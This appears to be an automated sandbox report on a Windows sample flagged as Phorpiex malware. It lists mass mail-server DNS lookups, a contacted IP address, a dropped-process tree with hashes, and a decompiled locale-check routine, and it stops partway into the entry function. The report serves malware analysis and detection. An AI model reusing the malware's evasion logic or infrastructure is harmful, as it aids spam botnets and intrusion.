Aug 24, 2023 19:04:48.488652945 CEST	8.8.8.8	192.168.2.8	0xf085	No error (0)	mx1.hc756-17.eu.iphmx.com		23.90.111.151	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.488652945 CEST	8.8.8.8	192.168.2.8	0xf085	No error (0)	mx1.hc756-17.eu.iphmx.com		23.90.111.147	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.488652945 CEST	8.8.8.8	192.168.2.8	0xf085	No error (0)	mx1.hc756-17.eu.iphmx.com		23.90.116.140	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.488652945 CEST	8.8.8.8	192.168.2.8	0xf085	No error (0)	mx1.hc756-17.eu.iphmx.com		23.90.111.146	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.488652945 CEST	8.8.8.8	192.168.2.8	0xf085	No error (0)	mx1.hc756-17.eu.iphmx.com		23.90.116.139	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.488652945 CEST	8.8.8.8	192.168.2.8	0xf085	No error (0)	mx1.hc756-17.eu.iphmx.com		23.90.111.149	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.488652945 CEST	8.8.8.8	192.168.2.8	0xf085	No error (0)	mx1.hc756-17.eu.iphmx.com		23.90.116.141	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.488652945 CEST	8.8.8.8	192.168.2.8	0xf085	No error (0)	mx1.hc756-17.eu.iphmx.com		23.90.111.150	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.488652945 CEST	8.8.8.8	192.168.2.8	0xf085	No error (0)	mx1.hc756-17.eu.iphmx.com		23.90.111.145	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.488652945 CEST	8.8.8.8	192.168.2.8	0xf085	No error (0)	mx1.hc756-17.eu.iphmx.com		23.90.116.143	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.488652945 CEST	8.8.8.8	192.168.2.8	0xf085	No error (0)	mx1.hc756-17.eu.iphmx.com		23.90.116.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.612237930 CEST	8.8.8.8	192.168.2.8	0xc305	No error (0)	mta7.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.612237930 CEST	8.8.8.8	192.168.2.8	0xc305	No error (0)	mta7.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.612237930 CEST	8.8.8.8	192.168.2.8	0xc305	No error (0)	mta7.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.612237930 CEST	8.8.8.8	192.168.2.8	0xc305	No error (0)	mta7.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.612237930 CEST	8.8.8.8	192.168.2.8	0xc305	No error (0)	mta7.am0.yahoodns.net		67.195.228.111	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.612237930 CEST	8.8.8.8	192.168.2.8	0xc305	No error (0)	mta7.am0.yahoodns.net		67.195.228.94	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.612237930 CEST	8.8.8.8	192.168.2.8	0xc305	No error (0)	mta7.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.612237930 CEST	8.8.8.8	192.168.2.8	0xc305	No error (0)	mta7.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.801222086 CEST	8.8.8.8	192.168.2.8	0x86b2	No error (0)	retailapproach.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:48.830369949 CEST	8.8.8.8	192.168.2.8	0x887	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.66.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.830369949 CEST	8.8.8.8	192.168.2.8	0x887	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.55.161	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.910793066 CEST	8.8.8.8	192.168.2.8	0x31b6	No error (0)	ocsb.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:48.910793066 CEST	8.8.8.8	192.168.2.8	0x31b6	No error (0)	ocsb.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:48.910793066 CEST	8.8.8.8	192.168.2.8	0x31b6	No error (0)	ocsb.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:48.910793066 CEST	8.8.8.8	192.168.2.8	0x31b6	No error (0)	ocsb.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:48.910793066 CEST	8.8.8.8	192.168.2.8	0x31b6	No error (0)	ocsb.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:48.996457100 CEST	8.8.8.8	192.168.2.8	0x56f5	No error (0)	retailapproach.com		162.240.99.161	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:49.081698895 CEST	8.8.8.8	192.168.2.8	0xf7b5	No error (0)	moen.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.081698895 CEST	8.8.8.8	192.168.2.8	0xf7b5	No error (0)	moen.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.244869947 CEST	8.8.8.8	192.168.2.8	0xe7dd	No error (0)	live.com.au			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.250859976 CEST	8.8.8.8	192.168.2.8	0x510b	No error (0)	mxa-004c9101.gslb.pphosted.com		205.220.174.148	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:49.268007040 CEST	8.8.8.8	192.168.2.8	0x640c	No error (0)	crimsoncovehomes.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.268007040 CEST	8.8.8.8	192.168.2.8	0x640c	No error (0)	crimsoncovehomes.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.268007040 CEST	8.8.8.8	192.168.2.8	0x640c	No error (0)	crimsoncovehomes.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.321276903 CEST	8.8.8.8	192.168.2.8	0x8f98	No error (0)	crimsoncovehomes-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:49.321276903 CEST	8.8.8.8	192.168.2.8	0x8f98	No error (0)	crimsoncovehomes-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:49.402299881 CEST	8.8.8.8	192.168.2.8	0xec8b	No error (0)	centurylink.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.404670000 CEST	8.8.8.8	192.168.2.8	0x918a	No error (0)	apc.olc.protection.outlook.com		104.47.22.161	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:49.404670000 CEST	8.8.8.8	192.168.2.8	0x918a	No error (0)	apc.olc.protection.outlook.com		104.47.18.161	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:49.561805010 CEST	8.8.8.8	192.168.2.8	0xfd95	No error (0)	gmx.de			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.561805010 CEST	8.8.8.8	192.168.2.8	0xfd95	No error (0)	gmx.de			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.644685030 CEST	8.8.8.8	192.168.2.8	0x4ccf	No error (0)	studiosysadmins.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.691629887 CEST	8.8.8.8	192.168.2.8	0x748	No error (0)	studiosysadmins-com.mail.eo.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:49.691629887 CEST	8.8.8.8	192.168.2.8	0x748	No error (0)	studiosysadmins-com.mail.eo.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:49.809648991 CEST	8.8.8.8	192.168.2.8	0x3dc7	No error (0)	thoughtexchange.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.809648991 CEST	8.8.8.8	192.168.2.8	0x3dc7	No error (0)	thoughtexchange.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.809648991 CEST	8.8.8.8	192.168.2.8	0x3dc7	No error (0)	thoughtexchange.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.809648991 CEST	8.8.8.8	192.168.2.8	0x3dc7	No error (0)	thoughtexchange.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.809648991 CEST	8.8.8.8	192.168.2.8	0x3dc7	No error (0)	thoughtexchange.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.911647081 CEST	8.8.8.8	192.168.2.8	0x61cd	No error (0)	live-com.olc.protection.outlook.com		104.47.13.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:49.911647081 CEST	8.8.8.8	192.168.2.8	0x61cd	No error (0)	live-com.olc.protection.outlook.com		104.47.12.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:50.017741919 CEST	8.8.8.8	192.168.2.8	0x39af	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:50.017741919 CEST	8.8.8.8	192.168.2.8	0x39af	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:50.017741919 CEST	8.8.8.8	192.168.2.8	0x39af	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:50.017741919 CEST	8.8.8.8	192.168.2.8	0x39af	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:50.017741919 CEST	8.8.8.8	192.168.2.8	0x39af	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:50.017741919 CEST	8.8.8.8	192.168.2.8	0x39af	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:50.017741919 CEST	8.8.8.8	192.168.2.8	0x39af	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:50.017741919 CEST	8.8.8.8	192.168.2.8	0x39af	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:50.042087078 CEST	8.8.8.8	192.168.2.8	0x4784	No error (0)	mx1a1.comcast.net		96.103.145.165	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:50.313553095 CEST	8.8.8.8	192.168.2.8	0x42c0	No error (0)	opg.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:50.350824118 CEST	8.8.8.8	192.168.2.8	0xfa14	No error (0)	opg-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:50.350824118 CEST	8.8.8.8	192.168.2.8	0xfa14	No error (0)	opg-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:50.576998949 CEST	8.8.8.8	192.168.2.8	0x7772	No error (0)	taqaglobal.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:50.622168064 CEST	8.8.8.8	192.168.2.8	0xe425	No error (0)	taqaglobal-com.mail.protection.outlook.com		104.47.11.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:50.622168064 CEST	8.8.8.8	192.168.2.8	0xe425	No error (0)	taqaglobal-com.mail.protection.outlook.com		104.47.11.202	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:50.970005989 CEST	8.8.8.8	192.168.2.8	0x299	No error (0)	betterthannature.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:51.016443014 CEST	8.8.8.8	192.168.2.8	0x2c0b	No error (0)	betterthannature-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:51.016443014 CEST	8.8.8.8	192.168.2.8	0x2c0b	No error (0)	betterthannature-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:51.212157011 CEST	8.8.8.8	192.168.2.8	0x640e	No error (0)	walmart.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:51.212157011 CEST	8.8.8.8	192.168.2.8	0x640e	No error (0)	walmart.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:51.247447968 CEST	8.8.8.8	192.168.2.8	0x4a44	No error (0)	nam.olc.protection.outlook.com		104.47.58.161	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:51.247447968 CEST	8.8.8.8	192.168.2.8	0x4a44	No error (0)	nam.olc.protection.outlook.com		104.47.57.161	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:51.259399891 CEST	8.8.8.8	192.168.2.8	0xcfa8	No error (0)	eaglesflight.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:51.297805071 CEST	8.8.8.8	192.168.2.8	0x38ce	No error (0)	eaglesflight-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:51.297805071 CEST	8.8.8.8	192.168.2.8	0x38ce	No error (0)	eaglesflight-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:51.341665030 CEST	8.8.8.8	192.168.2.8	0xf324	No error (0)	mxa-000c7201.gslb.pphosted.com		67.231.144.101	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:51.642425060 CEST	8.8.8.8	192.168.2.8	0xa4eb	No error (0)	encana.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:51.642425060 CEST	8.8.8.8	192.168.2.8	0xa4eb	No error (0)	encana.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:51.785314083 CEST	8.8.8.8	192.168.2.8	0x9fac	No error (0)	mxa-001a8a02.gslb.pphosted.com		148.163.152.104	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.409405947 CEST	8.8.8.8	192.168.2.8	0x2c5d	No error (0)	mmm.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:52.409405947 CEST	8.8.8.8	192.168.2.8	0x2c5d	No error (0)	mmm.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:52.455240965 CEST	8.8.8.8	192.168.2.8	0x5bb0	No error (0)	ermigroup.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:52.455240965 CEST	8.8.8.8	192.168.2.8	0x5bb0	No error (0)	ermigroup.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:52.455240965 CEST	8.8.8.8	192.168.2.8	0x5bb0	No error (0)	ermigroup.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:52.455240965 CEST	8.8.8.8	192.168.2.8	0x5bb0	No error (0)	ermigroup.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:52.455240965 CEST	8.8.8.8	192.168.2.8	0x5bb0	No error (0)	ermigroup.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.57.158	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.33.44	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.56.206	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.56.200	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.57.157	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.33.40	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.33.25	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.56.207	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.33.39	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.33.29	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.33.104	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.57.51	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.57.65	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.33.26	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.33.180	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.56.217	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.56.201	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.57.50	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.33.111	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.465243101 CEST	8.8.8.8	192.168.2.8	0xa429	No error (0)	mx2.hc3069-42.iphmx.com		139.138.33.103	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:53.282294989 CEST	8.8.8.8	192.168.2.8	0xff9e	No error (0)	pacwill.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:53.324501038 CEST	8.8.8.8	192.168.2.8	0x729d	No error (0)	pacwill-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:53.324501038 CEST	8.8.8.8	192.168.2.8	0x729d	No error (0)	pacwill-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:53.517528057 CEST	8.8.8.8	192.168.2.8	0x8e09	No error (0)	ohl.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:53.517528057 CEST	8.8.8.8	192.168.2.8	0x8e09	No error (0)	ohl.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:53.607002974 CEST	8.8.8.8	192.168.2.8	0x8d2b	No error (0)	alignedcapitalpartners.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:53.652534962 CEST	8.8.8.8	192.168.2.8	0x446d	No error (0)	alignedcapitalpartners-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:53.652534962 CEST	8.8.8.8	192.168.2.8	0x446d	No error (0)	alignedcapitalpartners-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:53.687145948 CEST	8.8.8.8	192.168.2.8	0x8f6c	No error (0)	mxb-0020e701.gslb.pphosted.com		143.55.144.1	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:53.688811064 CEST	8.8.8.8	192.168.2.8	0x2b9e	No error (0)	gouv-qc-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:53.688811064 CEST	8.8.8.8	192.168.2.8	0x2b9e	No error (0)	gouv-qc-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:53.944084883 CEST	8.8.8.8	192.168.2.8	0xad8b	No error (0)	canadacartage.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:53.944084883 CEST	8.8.8.8	192.168.2.8	0xad8b	No error (0)	canadacartage.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:53.944084883 CEST	8.8.8.8	192.168.2.8	0xad8b	No error (0)	canadacartage.com			MX (Mail exchange)	IN (0x0001)	false

HTTP Request Dependency Graph

185.215.113.66

icanhazip.com

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: newtpp.exePID: 7344, Parent PID: 4884

General

Target ID:	0
Start time:	19:02:45
Start date:	24/08/2023
Path:	C:\Users\user\Desktop\newtpp.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\newtpp.exe
Imagebase:	0x400000
File size:	80'896 bytes
MD5 hash:	90CBEADCDA0AD6D4302C36AA9FD2A53C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000000.00000000.1235675253.0000000000410000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: sysesvcmw.exePID: 7432, Parent PID: 7344

General

Target ID:	2
Start time:	19:02:50
Start date:	24/08/2023
Path:	C:\Windows\ sysesvcmw.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\ sysesvcmw.exe
Imagebase:	0x400000
File size:	80'896 bytes
MD5 hash:	90CBEADCDA0AD6D4302C36AA9FD2A53C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000002.00000000.1282255477.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Windows\ sysesvcmw.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: sysesvcmw.exePID: 7824, Parent PID: 4884

General

Target ID:	8
Start time:	19:03:01
Start date:	24/08/2023
Path:	C:\Windows\ sysesvcmw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\ sysesvcmw.exe"
Imagebase:	0x400000
File size:	80'896 bytes
MD5 hash:	90CBEADCDA0AD6D4302C36AA9FD2A53C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000008.00000000.1390279916.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: 2569813542.exePID: 8016, Parent PID: 7432

General

Target ID:	9
Start time:	19:03:11
Start date:	24/08/2023
Path:	C:\Users\user\AppData\Local\Temp\2569813542.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2569813542.exe
Imagebase:	0x2e0000
File size:	18'944 bytes
MD5 hash:	79F68AF319FD84B95E589A5140954B7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: 22195367.exePID: 6440, Parent PID: 7432

General

Target ID:	10
Start time:	19:03:18
Start date:	24/08/2023
Path:	C:\Users\user\AppData\Local\Temp\22195367.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\22195367.exe
Imagebase:	0xc70000
File size:	18'944 bytes
MD5 hash:	868A819B090F5AA12BFC1EA3BC8EF318
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: newtpp.exePID: 7344, Parent PID: 4884COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	18.1%
Total number of Nodes:	1439
Total number of Limit Nodes:	7

Executed Functions

Function 0040D0F0 Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E0040D0F0() {
				char _v16;
				intOrPtr* _v20;
				intOrPtr* _v24;
				char _v25;
				char _v26;
				intOrPtr _v32;
				intOrPtr _v36;
				char _t26;
				char _t30;
				intOrPtr* _t34;

				GetLocaleInfoA(0x400, 7,  &_v16, 0xa); // executed
				_v20 = 0x410358;
				_v24 =  &_v16;
				while(1) {
					_t34 = _v24;
					_t26 =  *_t34;
					_v25 = _t26;
					if(_t26 !=  *_v20) {
						break;
					}
					if(_v25 == 0) {
						L5:
						_v32 = 0;
						L7:
						_v36 = _v32;
						if(_v36 != 0) {
							return 0;
						}
						return 1;
					}
					_t34 = _v24;
					_t30 =  *((intOrPtr*)(_t34 + 1));
					_v26 = _t30;
					_t13 = _v20 + 1; // 0x6f00524b
					if(_t30 !=  *_t13) {
						break;
					}
					_v24 = _v24 + 2;
					_v20 = _v20 + 2;
					if(_v26 != 0) {
						continue;
					}
					goto L5;
				}
				asm("sbb edx, edx");
				asm("sbb edx, 0xffffffff");
				_v32 = _t34;
				goto L7;
			}

0x0040d103
0x0040d109
0x0040d113
0x0040d116
0x0040d116
0x0040d119
0x0040d11b
0x0040d123
0x00000000
0x00000000
0x0040d129
0x0040d14a
0x0040d14a
0x0040d15b
0x0040d15e
0x0040d165
0x00000000
0x0040d16b
0x00000000
0x0040d167
0x0040d12b
0x0040d12e
0x0040d131
0x0040d137
0x0040d13a
0x00000000
0x00000000
0x0040d13c
0x0040d140
0x0040d148
0x00000000
0x00000000
0x00000000
0x0040d148
0x0040d153
0x0040d155
0x0040d158
0x00000000

APIs

GetLocaleInfoA.KERNELBASE(00000400,00000007,?,0000000A,?,?,?,?,?,?,?,00405FDC), ref: 0040D103

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 7a92b5bdc3f3dde32a044aaa340ec16070e5a3784df047b4ba0a0c8432a93d9b
Instruction ID: f778d3e24ee8b8148d0d6da74f5cf0ba74d40266469d81105501966183134688
Opcode Fuzzy Hash: 7a92b5bdc3f3dde32a044aaa340ec16070e5a3784df047b4ba0a0c8432a93d9b
Instruction Fuzzy Hash: 50112874D082498EDB11CFE4C8457FEBBB1AB5A314F04829AD4603A3C1C7785A4ACBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405E10 Relevance: 168.5, APIs: 60, Strings: 36, Instructions: 492
registrysleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			_entry_() {
				short _v524;
				char _v528;
				int _v532;
				int _v536;
				char _v1060;
				void* _v1064;
